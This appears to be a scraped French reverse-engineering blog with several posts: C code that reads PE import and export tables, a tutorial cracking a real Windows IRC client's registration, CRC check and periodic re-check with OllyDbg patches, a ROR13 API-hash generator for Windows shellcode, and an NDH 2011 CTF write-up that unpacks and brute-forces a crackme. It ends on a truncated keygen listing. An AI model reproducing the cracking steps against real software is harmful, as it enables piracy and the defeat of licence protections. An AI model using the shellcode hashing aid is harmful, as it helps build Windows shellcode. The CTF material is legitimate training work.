    fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

    // On check la signature :
    if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On lit toutes les sections :
    pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);
   
    for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
    {
        fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
    }
}

DWORD RvaToOffset(PS_PE pspe, DWORD rva)
{
    for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
    {
        // La RVA est-elle dans cette section ?
        if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
        {
            rva -= pspe->piSectionHeader[i].VirtualAddress;
            rva += pspe->piSectionHeader[i].PointerToRawData;
           
            return rva;
        }
    }
   
    return -1;
}

void ReadCstring(PS_PE pspe, char *name)
{
    DWORD n = 0;
   
    do
    {
        fread(name+n, sizeof(char), 1, pspe->pfile);
        n++;
    }while(name[n-1] != 0 && n < 1023);
   
    name[n] = 0;
}

void ListImportedFunctions(PS_PE pspe)
{
    IMAGE_IMPORT_DESCRIPTOR iImportDesc;
    char name[1024];
    DWORD thunkData = 0;
    WORD hint = 0;

    // On se positionne a la table des fonctions importées :
    DWORD offset = RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
   
    for(DWORD i = 0;;i++)
    {
        // On se place à la structure IMAGE_IMPORT_DESCRIPTOR qu'il nous faut :
        fseek(pspe->pfile, offset + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), SEEK_SET);

        // On la lit :
        fread(&iImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, pspe->pfile);
       
        // Est-ce la dernière IMAGE_IMPORT_DESCRIPTOR?
        if((iImportDesc.Characteristics == 0) && (iImportDesc.FirstThunk == 0) && (iImportDesc.ForwarderChain == 0)
            && (iImportDesc.Name == 0) && (iImportDesc.OriginalFirstThunk == 0) && (iImportDesc.TimeDateStamp == 0)) break;
       
        // On va à la RVA du nom de la dll :
        fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.Name), SEEK_SET);
       
        // On lit le nom de la dll :
        ReadCstring(pspe, name);
        printf("[+] %s\n", name);
       
        for(DWORD j = 0;;j++)
        {
            // On se place au Thunk qu'il nous faut :
            if(iImportDesc.OriginalFirstThunk != 0)
                fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.OriginalFirstThunk) + j * sizeof(DWORD), SEEK_SET);
            else
                fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.FirstThunk) + j * sizeof(DWORD), SEEK_SET);
           
            // On le lit :
            fread(&thunkData, sizeof(DWORD), 1, pspe->pfile);
           
            // Est-ce le dernier?
            if(thunkData == 0) break;
           
            // Est-ce une fonction importée par son nom?
            if((thunkData & IMAGE_ORDINAL_FLAG32) == 0)
            {
                // On va à la RVA sur IMAGE_IMPORT_BY_NAME :
                fseek(pspe->pfile, RvaToOffset(pspe, thunkData), SEEK_SET);

                // On lit le Hint :
                fread(&hint, sizeof(WORD), 1, pspe->pfile);
               
                printf("    %d - ", hint);

                // On lit le nom :
                ReadCstring(pspe, name);
                printf("%s\n", name);
            }
        }
    }
}


 

Et pour finir, l’inverse des fonctions importées c’est à dire les fonction exportées, ce sont les fonctions contenues dans les dll qui peuvent être appelées par tout autre programme ou dll. Comme pour les fonctions importées, on y accède grâce au tableau d’IMAGE_DATA_DIRECTORY obtenu depuis le champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER. Cette fois-ci, on tombe sur la structure de données qui nous intéresse, c’est à dire la structure IMAGE_EXPORT_DIRECTORY, et tout cela en utilisant la constante IMAGE_DIRECTORY_ENTRY_EXPORT comme index pour le tableau d’IMAGE_DATA_DIRECTORY.

Le nombre de fonctions exportées par leur nom est contenu dans le champ NumberOfNames, les RVA des noms dans AddressOfNames, les ordinaux dans AddressOfNameOrdinals.
Ces deux champs doivent être parcourus en parallèle. Les adresses des fonctions sont dans AddressOfFunctions.

Quand un nom est trouvé, l’ordinal est utilisé comme index dans le tableau AddressOfFunctions, si la fonction est une forwarder, l’adresse correspond à une RVA vers la string indiquant où elle est forwardée.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <windows.h>
#include <stdio.h>

typedef FILE *PFILE;

typedef struct _S_PE
{
    PFILE pfile;
    IMAGE_DOS_HEADER iDosHeader;
    IMAGE_NT_HEADERS iNtHeaders;
    PIMAGE_SECTION_HEADER piSectionHeader;
}S_PE, *PS_PE;

void ListExportedFunctions(PS_PE pspe);

void Init(PS_PE pspe);
DWORD RvaToOffset(PS_PE pspe, DWORD rva);
void ReadCstring(PS_PE pspe, char *name);

int main(int argc, char *argv[])
{
    S_PE spe;
   
    if(argc != 2)
    {
        printf("USAGE: ListExportedFunctions.exe <fichier>\n");
        printf("EXAMPLE: ListExportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
        printf("\n");
        system("PAUSE");
        exit(1);
    }
   
    memset(&spe, 0, sizeof(S_PE));
   
    spe.pfile = fopen(argv[1], "rb");
   
    if(spe.pfile == NULL)
    {
        printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
        exit(1);
    }
   
    Init(&spe);
   
    ListExportedFunctions(&spe);
   
    fclose(spe.pfile);
   
    return 0;
}

void Init(S_PE *pspe)
{
    // On lit l'en-tête DOS :
    fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

    // On check la signature :
    if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!n");
        exit(1);
    }
   
    // On se positionne à l'offset de l'en-tête NT :
    fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);
   
    // On lit l'en-tête NT :
    fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

    // On check la signature :
    if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
    {
        printf("ERREUR : le fichier n'est pas valide!\n");
        exit(1);
    }
   
    // On lit toutes les sections :
    pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);
   
    for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
    {
        fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
    }
}

void ListExportedFunctions(PS_PE pspe)
{
    IMAGE_EXPORT_DIRECTORY iExportDir;
    DWORD namePos = 0;
    WORD ordinal = 0;
    DWORD address = 0;
    char name[1024];
   
    // On se positionne à la table des fonctions exportées :
    fseek(pspe->pfile, RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), SEEK_SET);
   
    // On lit la structure IMAGE_EXPORT_DIRECTORY :
    fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pspe->pfile);
   
    printf("NumberOfNames: %d\n\n", iExportDir.NumberOfNames);
   
    printf("ordinal / index -- name -- address\n\n");
   
    for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
    {
        // Ordinal
        fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNameOrdinals) + i * sizeof(WORD), SEEK_SET);
        fread(&ordinal, sizeof(WORD), 1, pspe->pfile);
        ordinal += (WORD)iExportDir.Base;
        printf("%d -- ", ordinal);
       
        // Name
        fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNames) + i * sizeof(DWORD), SEEK_SET);
        fread(&namePos, sizeof(DWORD), 1, pspe->pfile);
        fseek(pspe->pfile, RvaToOffset(pspe, namePos), SEEK_SET);
        ReadCstring(pspe, name);
        printf("%s -- ", name);
       
        // Address
        fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfFunctions) + (ordinal - iExportDir.Base) * sizeof(DWORD), SEEK_SET);
        fread(&address, sizeof(DWORD), 1, pspe->pfile);
        printf("%.8X", address);
       
        // Is forwarded ?
        if(pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress < address
            && address < pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
        {
            fseek(pspe->pfile, RvaToOffset(pspe, address), SEEK_SET);
            ReadCstring(pspe, name);
            printf(" (forwarder -> %s)\n", name);
        }
        else printf("\n");
    }
}

DWORD RvaToOffset(PS_PE pspe, DWORD rva)
{
    for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
    {
        // La RVA est-elle dans cette section?
        if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
        {
            rva -= pspe->piSectionHeader[i].VirtualAddress;
            rva += pspe->piSectionHeader[i].PointerToRawData;
           
            return rva;
        }
    }
   
    return -1;
}

void ReadCstring(PS_PE pspe, char *name)
{
    DWORD n = 0;
   
    do
    {
        fread(name+n, sizeof(char), 1, pspe->pfile);
        n++;
    }while(name[n-1] != 0 && n < 1023);
   
    name[n] = 0;
}


 
Voilà tout pour cet article :)

Références :
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format, Part 2
Microsoft PE and COFF Specification

Publié dans File format | Marqué avec , , , | Laisser un commentaire

Introduction au cracking (le cas basique) :

En guise de petite introduction au cracking, je vais vous expliquer, à titre informatif, comment cracker un des clients IRC (sûrement le plus utilisé actuellement sur windows).

L’outil utilisé pour y parvenir est le débogueur OllyDbg.

Il faut ouvrir le logiciel que l’on souhaite cracker avec OllyDbg pour pouvoir analyser son comportement. On lance donc en premier OllyDbg, puis « File -> Open » pour indiquer où se trouve le logiciel.

Première chose : lancer le logiciel. Sur OllyDbg, touche « F9  » ou « Debug -> Run ».

Je ferme toutes les boîtes de dialogue du logiciel en question (sur celui-ci, il y en a deux qui s’affichent au démarrage), et je cherche dans le menu où est-ce que je peux entrer les informations d’enregistrement.

 

L’enregistrement :

Une fois ce menu trouvé, une boîte de dialogue apparaît me demandant mon nom et mon code d’enregistrement.

Dans l’API windows, c’est la fonction DialogBoxParam qui est utilisée pour créer cette boîte de dialogue.

Je retourne sur OllyDbg et je place un breakpoint sur chaque appel de DialogBoxParam. Dans la fenêtre CPU, partie code assembleur, je fais un clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N) pour ensuite cliquer droit sur « USER32.DialogBoxParamW » et choisir « Set breakpoint on every reference ».

Je retourne maintenant dans le menu d’enregistrement pour cliquer dessus. OllyDbg devrait break avant l’affichage de la boîte de dialogue, me demandant mon nom et mon code d’enregistrement.

Il faut maintenant se rendre dans la fonction qui gère les messages de cette boîte de dialogue. Si je regarde sur la partie de la fenêtre CPU réservée à la pile, je vois l’adresse de cette fonction. Elle se nomme « DlgProc ». Il me suffit de taper « entrer » dessus.

Me voilà dans la fonction qui va traiter chaque évènement de cette boîte de dialogue. Avec l’API windows, je sais que pour obtenir le texte d’un contrôle il faut utiliser le message « WM_GETTEXT ». Je vais donc chercher ce message dans la fenêtre CPU au niveau du code assembleur.

Quelques lignes plus bas, je peux voir deux fonctions nommées « SendDlgItemMessageW » qui utilisent ce message (WM_GETTEXT). Ces fonctions sont utilisées pour obtenir le texte des contrôles me demandant mon nom et mon code d’enregistrement.

Je place un breakpoint juste après ces deux fonctions, il suffit pour cela de double cliquer sur les bytes correspondants à la ligne ou F2 (l’adresse de la ligne devient rouge) puis de continuer l’exécution du logiciel avec la touche F9.

La boîte de dialogue apparaît et me demande d’entrer les informations, je vais entrer « opc0de » en tant que nom et « azertyuiop » en tant que code d’enregistrement puis valider.

Je retourne dans OllyDbg qui s’est arrêté sur mon breakpoint placé après les deux WM_GETTEXT. Il s’agit maintenant de continuer pas à pas, c’est à dire touche F7 ou F8. J’ai supposé qu’une fonction devait vérifier si ce que je viens d’entrer est correct. Je sais qu’en assembleur, le retour d’une fonction se trouve dans le registre EAX. J’ai donc cherché chaque instruction qui testait ou comparait ce registre après un call dans le code, pour finir sur la bonne fonction se trouvant juste avant un « Sleep » de 1000 ms.

1
2
3
4
5
6
CALL logiciel.adresse
ADD ESP,0C
TEST EAX,EAX
JE logiciel.adresse
PUSH 3E8
CALL DWORD PTR DS:[]


 

Une fois trouvée, j’entre dans la fonction du CALL logiciel.adresse avec la touche F7. Pour assembler deux instructions je clique droit sur « Assemble » ou touche espace. La première : MOV EAX,1 puis à la suite, la deuxième instruction RET.

Je continue l’exécution du programme pour voir ce qu’il se passe avec F9. OllyDbg break encore sur DialogBoxParamW, je passe donc toujours avec F9.

Et là, une nouvelle boîte de dialogue apparaît me confirmant mon enregistrement!

Cette partie étant réglée, je sauvegarde le binaire par un clique droit sur la fenêtre CPU (partie code assembleur) -> Copy to executable -> All modification -> Copy all. Je ferme la nouvelle fenêtre, puis je répond « oui » et « Enregistrer » pour écraser celui d’origine.

Maintenant, si j’essaie d’exécuter le logiciel en dehors d’OllyDbg, rien ne se passe. Le logiciel a une protection qui contrôle l’intégralité du binaire (CRC) et comme je viens de le modifier, il refuse de s’exécuter.

 

Le CRC :

Pour checker l’intégralité d’un binaire, il faut l’ouvrir puis le lire. Sur windows, cela se fait avec les fonctions CreateFile et ReadFile. Je vais donc recharger le logiciel dans OllyDbg et mettre un breakpoint sur chaque appel de ces fonctions.

Je démarre OllyDbg, et dans File -> Open j’ouvre le logiciel que je viens de modifier. Ensuite, pour placer les breakpoints, je clique droit sur la fenêtre CPU (partie code assembleur) -> Search for -> Name (label) in current module (CTRL+N) et, clique droit sur KERNEL32.CreateFileW et KERNEL32.ReadFile pour choisir Set breakpoint on every reference.

Maintenant je peux run le logiciel avec F9. Je tombe alors sur le premier breakpoint, le premier CreateFileW dont il faut regarder le nom du fichier qui va être ouvert, dans mon cas il s’agit bien du logiciel. Je garde donc en tête l’adresse de la valeur de retour du CreateFileW qui correspond au handle du fichier.

Je continue l’exécution (touche F9) pour tomber sur un nouveau breakpoint qui correspond à un ReadFile. Une fois rendu ici, je commence par comparer les handles, qui, dans mon cas, correspondent parfaitement.

La fonction ReadFile prend en argument un pointeur sur le buffer qui va contenir ce qui va être lu. Je vais poser un breakpoint pour stopper l’exécution lorsque ce buffer sera lu. Dans la fenêtre CPU, sur la partie qui correspond à la pile, je vois l’adresse de ce buffer. Je clique droit dessus et je choisis « Follow in Dump ». Ensuite, dans la partie de la fenêtre CPU correspondant au « Hex dump », je me place sur le premier byte pour y faire un clique droit -> Breakpoint -> Hardware, on access et choisis Dword.

Je run (F9) et je tombe sur le Hardware breakpoint où j’y vois la ligne suivante :

1
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]


 

On voit donc qu’il met tout dans ES:[EDI]. Je vais refaire un Hardware breakpoint mais ce coup-ci sur ES:[EDI]. Dans la fenêtre CPU, dans la petite partie entre le code assembleur et la partie « Hex dump », j’y vois l’adresse de ce ES:[EDI]. Je me place dessus puis clique droit et « Follow address in Dump ». Je me replace, dans « Hex dump », sur le premier byte puis clique droit puis Breakpoint -> Hardware, on access et rechoisis Dword.

Pour ne pas retomber sur le Hardware breakpoint 1, je le delete : menu Debug -> Hardware breakpoints -> Delete 1 et valide. Je désactive également tous les autres breakpoints : menu View -> Breakpoints et je supprime tout.

Je run (F9). Je tombe alors sur une grosse boucle qui a l’air de checker si c’est correct. A la première sortie de la boucle dans laquelle je suis tombée, je vois une comparaison et un saut qui n’est pas effectué :

1
2
CMP EAX,-1
JE SHORT logiciel.0044B123


 

Je décide de prendre ce saut en remplaçant (touche espace sur la ligne) ce JB par un JMP. Le code devient donc :

1
JMP SHORT logiciel.0044B123


 

Avec ce saut, je me retrouve à la ligne juste après la boucle qui, je suppose, check le CRC. Ensuite, je delete le Hardware breapoint 2 : menu Debug -> Hardware breakpoints -> Delete 2 et OK. Je run à nouveau (F9) et le logiciel se lance. Je vérifie et je vois qu’il est bien enregistré en tant qu’opc0de. Le logiciel est donc cracké ! Il faut enregistrer notre travail car ce n’est pas finit.

 

L’espèce d’anti-crack :

Si vous utilisez le logiciel tel qu’il est maintenant, vous remarquerez qu’au bout d’environ 10 minutes d’utilisation, vous ne serez plus enregistré et qu’à son prochain démarrage, vous ne le serez plus du tout.

Donc il doit y avoir dans notre logiciel une routine qui doit revérifier si notre enregistrement est correct et supprimer quelque chose qui, je suppose, se trouve dans la base de registre.

Relançons notre logiciel dans OllyDbg, puis rendons-nous sur notre channel favoris, mettons des breakpoints à l’appel de la fonction fournie par l’api win32 pour delete une donnée dans la base de registre, cette fonction se nomme : RegDeleteKeyW.

Donc, fenêtre CPU, partie code assembleur, clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N), clique droit sur « ADVAPI32.RegDeleteKeyW » et choisir « Set breakpoint on every reference ».

Au bout d’environ 10 minutes d’utilisation, OllyDbg break dessus dans une petite routine. Maintenant je regarde dans la stack où est appelée cette routine et je m’y place, je vois bien le call qui nous y amène. Quelques lignes plus haut on peut voir un JNZ qui saute la partie où est exécuté ce call :

1
JNZ logiciel.00FC8756

 

Je pause un breakpoint dessus, je delete tous les autres breakpoints et je relance le logiciel dans OllyDbg. Il n’y a plus qu’à attendre, toujours environ 10 minutes après avoir rejoint un channel.

OllyDbg break sur notre JNZ et on voit bien qu’il n’est pas pris en compte, on le change par un JMP pour être sûr qu’il jump et on voit ce qu’il se passe…

Avec cette modification le logiciel IRC reste enregistré.

Voilà, c’est tout pour ce tutoriel car il n’y a plus rien à faire sur le logiciel irc que j’ai utilisé comme exemple.

Publié dans Cracking | Marqué avec , | Laisser un commentaire

Generate Hash :

Code sans GUI qui permet de générer le hash d’une fonction comme par exemple MessageBoxA pour être utilisé dans les shellcodes sur windows.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
    char *funcname = NULL;
    DWORD res = 0;

    if(argc != 2)
    {
        printf("USAGE: GenerateHash.exe <funcname>\n");
        printf("EXEMPLE: GenerateHash.exe MessageBoxA\n\n");
        system("PAUSE");
        exit(1);
    }

    else funcname = argv[1];

    __asm
    {
        prepare_hash:
        mov esi, funcname // On fait pointer esi sur funcname.
        xor edi, edi // On met edi à zéro.
        xor eax, eax // On met eax à zéro.
        cld // Clear direction flag : pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

        hash:
        lodsb // Charge un byte de esi dans al et incrémente esi.
        test al, al // On regarde si le byte est à zéro.
       
        jz hash_finished // Si oui on a atteint la fin de la string (funcname).
        ror edi, 0xd // Rotation de 13 bits vers la droite de la valeur courante.
        add edi, eax // Ajout du caractère au hash.

        jmp hash // On continue.

        hash_finished: // On a finit.
        mov res, edi // On met le hash dans la variable res.
    }

    printf("\n%s = %.8x\n", funcname, res);

    return 0;
}


 

Publié dans Shellcode | Marqué avec , , , | Laisser un commentaire

KeygenMe By int_0x80

Bonjour all!

Cela faisait un moment que je n’avais pas posté sur le blog. Mais en voyant le temps qu’il faisait dehors, je me suis dis qu’un peu de code ne devrait pas me faire de mal. C’est pourquoi j’ai développé un petit KeygenMe (mon premier), donc ne vous attendez pas à quelque chose d’exceptionnel! Il est d’un niveau relativement simple. J’attends des critiques en retour, merci.

Cliquez ici pour télécharger le KeygenMe

- Système : Debian Squeeze.
- Md5 (binaire) : 3e83496ed6014d8cdd7694d8f4eb08d3
- Compilé avec gcc version 4.4.5.
- Paquet à installer : libgtk2.0-0
- Objectif : Trouver le serial correspondant à votre login.

Un petit screen :

Publié dans Non classé | Marqué avec , , | Un commentaire

Préquals NDH 2011 – La Nuit Du Crack (rce100 ne se fume pas, il se crack) – By Lu33y & int_0x80

Le 2 avril 2011 a fait place aux pré-qualifications de la NDH 2011. Un CTF très attendu qui est malheureusement tombé un week-end de beau temps. Et qui dit temps magnifique, dit promenades, sport et très peu de « geekage » !

Mais je ne pouvais pas résister à un sympathique challenge de Reverse-Engineering win32.

C’est pour cette raison que je me suis retrouvé à me triturer les neurones sur le rce100!

Voici le programme de ce write-up :

I/ – Découverte du CrackMe. (Lu33y)

II/ – Unpacking « presque » perso. (Lu33y)

III/ – Elle est où cette routine de vérification de mot de passe ? (Lu33y)

IV/ – Le côté obscure du bruteforcing. (int_0x80)





I/ Découverte du CrackMe :

On a affaire à un CrackMe qui nous demande d’entrer un code afin de valider l’épreuve.



On commence par lancer notre bon vieux « PEiD » :



Celui-ci ne trouve aucune signature de « packer » connu. On se dit alors que pour une épreuve qui rapporte 100 points, on a peut-être affaire à un CrackMe tout simple …
On ouvre donc le CrackMe sous OllyDbg puis on enchaine avec un « ctrl+n » :



Entre le pushAD, le warning d’OllyDbg et l’appel à « VirtualAlloc » on comprend vite que l’on a affaire à un programme « packé » !!!





II/ Unpacking « presque » perso :

Le « packer » ressemble beaucoup à UPX. Je dis ressemble car il ne m’a pas été possible d’utiliser un « unpacker » UPX dessus … Donc on y va à « la mano » !!!
Comme pour UPX, notre programme commence avec un « PUSHAD » qui sauvegarde tous les registres dans la pile.
Il faut que l’on trouve le code assembleur « POPAD » qui va restaurer tous les registres avant de sauter vers un nouvel OEP.

Voila à quoi ressemble cette routine en général :

1
2
3
4
5
6
7
PUSHAD
Du code
Encore du code


POPAD
JMP vers OEP




Dans le cas du rce100, on a ceci :


PUSH AD :




POP AD :






Dans un premier temps, on va chercher à avoir notre programme sous sa forme décompressée en mémoire. Pour cela, on pose un breakpoint (F2) sur l’instruction assembleur « JMP 0041E74B » (vous aurez probablement une adresse différente), on lance notre programme (F9) et on avance d’une instruction (F8).
Au passage, on note le nouvel OEP. Maintenant que notre programme est décompressé en mémoire, on va chercher à obtenir une copie sur notre disque dur, qu’on appelle plus communément : un dump. Pour cela on peut utiliser LordPE ou le plugin Ollydump (ce qui revient au même !).

Utilisons LordPE :

On sélectionne notre programme et on note au passage l’IMAGEBASE, qui est ici de 400000. On clique droit et on sélectionne Dump Full comme ci-dessous :



On finit par enregistrer le « dump » sur notre disque dur avec le nom « dump.exe ».
Le dump nouvellement crée contient toutes les instructions nécessaires au bon fonctionnement du CrackMe, pourtant si on essaie de l’exécuter il ne fonctionnera pas.
En effet, le CrackMe utilise des fonctions qui ne sont pas propre à lui-même.
Toutes ces informations sont contenues dans l’IAT du CrackMe (Import Address Table). « Dumper » un programme ne reconstruit pas un IAT exploitable, c’est pour cette raison que notre « dump.exe » ne fonctionne pas. Il va donc falloir reconstruire cette table.
Pour nous aider dans cette tâche, nous allons utiliser ImpRec [d'ou Import Reconstructor]. Nous commençons par sélectionner notre CrackMe : rce100.exe

Dans la fenêtre de log on peut noter encore l’ImageBase 400000.
Nous avons vu plus haut que notre nouvel OEP était 0041E74B donc pour ImportRec nous faisons OEP=Nouvel OEP – imagebase de Olly : 0041E74B – 400000 = 1E74B. On modifie cette donnée manuellement si besoin dans la case “OEP”, puis on clique sur IAT Auto Search.

Tout fonctionne jusqu’à présent, puisque ImpRec trouve quelque chose et nous le dit. Il ne nous reste plus qu’à cliquer sur « Get Imports », et ceux-ci doivent être valides comme ci-dessous :



Maintenant, on va réparer le dump endommagé en cliquant sur Fix Dump, puis en sélectionnant notre fichier dump.exe.
ImpRec sauvegarde une copie de notre dump appelé “dump_.exe”. Si vous l’essayez, le fichier nouvellement crée fonctionne !
On se retrouve finalement avec un CrackMe lisible sur lequel on va pouvoir travailler.





III/ Elle est où cette routine de vérification de mot de passe?

On commence par effectuer une recherche sur les chaînes de caractère qui ne nous ne retournent pas trop d’infos.

On poursuit avec un « CTRL + n » et on se met à chercher une API intéressante.

On pose un breakpoint sur un « strcmp », et on debug en mode pas à pas jusqu’à tomber sur une fonction qui retourne un résultat nous permettant de rediriger le flux de notre programme vers un BadBoy ou un GoodBoy.



On comprend très rapidement que l’on est face à la routine de vérification du mot de passe.


On traduit cette portion de code assembleur en pseudo-code, telle que :


Fonction de calcul d’un hash perso :

1
2
3
4
5
6
7
8
9
10
[
ESI = 0xDEADBEEF
1/ Pour chaque caractère composant notre  « serial » :
ESI = ESI x 0x38271606
EAX = EAX x 0x5B86AFFE
EAX = EAX - ESI
ESI = EAX
End 1/
EAX = ESI
]



Pour obtenir le GoodBoy, EAX doit être égal à 0xC4B1801C.





IV/ Le côté obscure du bruteforcing :

C’est bientôt finit, mais il faut encore se triturer les méninges … (pour 100 points).
Le seul moyen de trouver la solution qui nous permettrait d’afficher un GoodBoy est de tester toutes les solutions possibles en brute forçant !

On commence donc par croiser les doigts en espérant que le staff nous ai épargné plusieurs heures de calculs avec un serial de petite taille.

Il n’y avait donc plus qu’à coder ce brute-forcer. C’est à l’aide d’aXs qu’on arriva à nos fins.

Donc voici notre chef d’oeuvre :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int sub_41EC50(const char *a1)
{
  unsigned int v1; // edx@1
  const char *v2; // ecx@1
  int v3; // esi@1
  char v4; // al@2

  v2 = a1;
  v3 = -559038737;
  v1 = 0;
  do
    v4 = *v2++;
  while ( v4 );
  if ( v2 != a1 + 1 )
  {
    do
      v3 = 1535553534 * a1[v1++] - 942085638 * v3;
    while ( v1 < strlen(a1) );
  }
  return v3;
}

int main(int argc, char **argv)
{
  char key[32];
  char *nl;
  FILE *f;
  int c;

  int hash;

  //f = fopen(argv[1], "r");
  f = stdin;

  while(!feof(f))
  {
    fgets(key, 32, f);
    nl = strrchr(key, '\r');
    if (nl) *nl = '\0';
    nl = strrchr(key, '\n');
    if (nl) *nl = '\0';
    if (!strlen(key)) continue;

    hash = sub_41EC50(key);

    if (c % 100000 == 0)
    {
      printf("hash: %X\n", hash);
    }

    if (hash == 0xC4B1801C)
    {
      printf("OK for hash: %s\n", key);
      exit(0);
    }
   
    c++;
  }
}




Une fois compilé, j’utilise un « tool » qu’aXs m’a conseillé, celui-ci se nomme : crunch.
Il va me permettre de générer un fichier (dictionnaire) qui contiendra toutes les permutations possibles pour un serial qui contiendrait des chiffres, des lettres majuscules et des lettres minuscules. On définit notre keyspace à 5 chars.


Ci-dessous, la commande utilisée pour générer le dictionnaire de brute force qui enchaîne en exécutant le programme :

1
2
3
4
5
6
7
8
9
10
11
12
int_0x80@int0x80:~/Bureau/crunch2.9$ ./crunch 5 5 -f charset.lst mixalpha-numeric | ./bf
[ ... ]
hash: 961CD642
hash: B924CB5A
hash: E3CBE2F2
hash: C357B796
hash: A14BF876
hash: D2BA93F6
hash: F5C2890E
hash: 46DEC4E8
OK for hash: pWn3D
int_0x80@int0x80:~/Bureau/crunch2.9$




On obtient le « serial » qui permet de valider l’épreuve : pWn3D

Merci à aXs pour son aide au bruteforcing et à Overclok[] qui nous a aidé à valider cette foutue épreuve :)



Publié dans Non classé | Marqué avec , , , , , , , , , , | Laisser un commentaire

Tuto 11 : Keygenning de WJChess 3D

Suite aux demandes incessantes de certaines personnes me demandant si j’étais mort depuis quelques temps, j’ai décidé de rédiger un petit tutoriel en pdf (10 pages) sur le keygenning d’un logiciel protégé par du md5, la protection étant sympathique. La source ASM est jointe dans l’archive.

Bien évidemment, toute critique, positive ou négative, me fera plaisir.

Enjoy it

KG WJ Chess

EDIT : update du lien suite à une erreur dans la source (je n’avais pas up la version finale…). Merci à uLysse_31 pour me l’avoir signalé.

P.S : j’ai un autre tuto en cours, sur le reversing d’un trojan de A à Z (du packer au payload), j’en suis à environ 50% (12 pages) et j’ai la flemme de le continuer ; soyez donc très patients ^^

Publié dans Non classé | Laisser un commentaire

Keygen int_0x80 with water_effect !

C’est après avoir analysé le code de Xylitol : http://xylibox.blogspot.com/2010/12/waveasm-watereffect-from-asmyeahnet.html que je me suis permis de modifier le keygen que je vous ai proposé dans mon dernier article : (http://re-xe.com/?p=111)


Voici la source :

Keygen.asm :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
